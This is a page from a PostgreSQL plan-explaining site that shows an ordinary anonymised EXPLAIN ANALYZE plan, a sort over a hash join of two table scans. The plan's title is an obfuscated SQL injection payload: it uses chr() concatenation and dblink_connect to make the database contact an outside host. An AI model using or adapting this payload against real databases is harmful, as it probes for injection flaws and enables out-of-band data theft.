explain.depesz.com

PostgreSQL's explain analyze made readable

Result: hSwd : cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(121)||chr(102)||chr(113)||chr(110)||chr(106)||chr(118)||chr(107)||chr(110)||chr(120)||chr(119)||chr(107)||chr(114)||chr(95)||chr(101)||chr(53)||chr(119)||chr(114)||chr(119)||chr(105)||chr(57)||chr(100)||chr(45)||chr(113)||chr(102)||chr(101)||chr(111)||chr(113)||chr(112)||chr(121)||chr(118)||chr(97)||chr(98)||chr(114)||chr(48)||chr(120)||chr(109)||chr(56)||chr(102)||chr(116)||chr(111)||chr(116)||chr(107)||chr(111)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

Settings
# exclusive inclusive rows x rows loops node
1. 0.158 55.012 ↑ 11.4 71 1

Sort (cost=146.630..148.650 rows=808 width=138) (actual time=55.009..55.012 rows=71 loops=1)

  • Sort Key: two.xray, kilo.tango, (six(kilo.echo))
  • Sort Method: quicksort Memory: 43kB
2. 1.378 54.854 ↑ 11.4 71 1

Hash Join (cost=1.140..107.610 rows=808 width=138) (actual time=42.495..54.854 rows=71 loops=1)

  • Hash Cond: (kilo.india = two.echo)
3. 53.465 53.465 ↓ 3.0 2,402 1

Seq Scan on hotel kilo (cost=0.000..89.300 rows=808 width=78) (actual time=0.052..53.465 rows=2,402 loops=1)

  • Filter: bravo(echo)
4. 0.004 0.011 ↑ 1.0 4 1

Hash (cost=1.090..1.090 rows=4 width=68) (actual time=0.011..0.011 rows=4 loops=1)

  • Buckets: 1024 Batches: 1 Memory Usage: 1kB
5. 0.007 0.007 ↑ 1.0 4 1

Seq Scan on lima two (cost=0.000..1.090 rows=4 width=68) (actual time=0.005..0.007 rows=4 loops=1)

  • Filter: ((xray <> 'sierra'::name) AND (xray <> 'november'::name))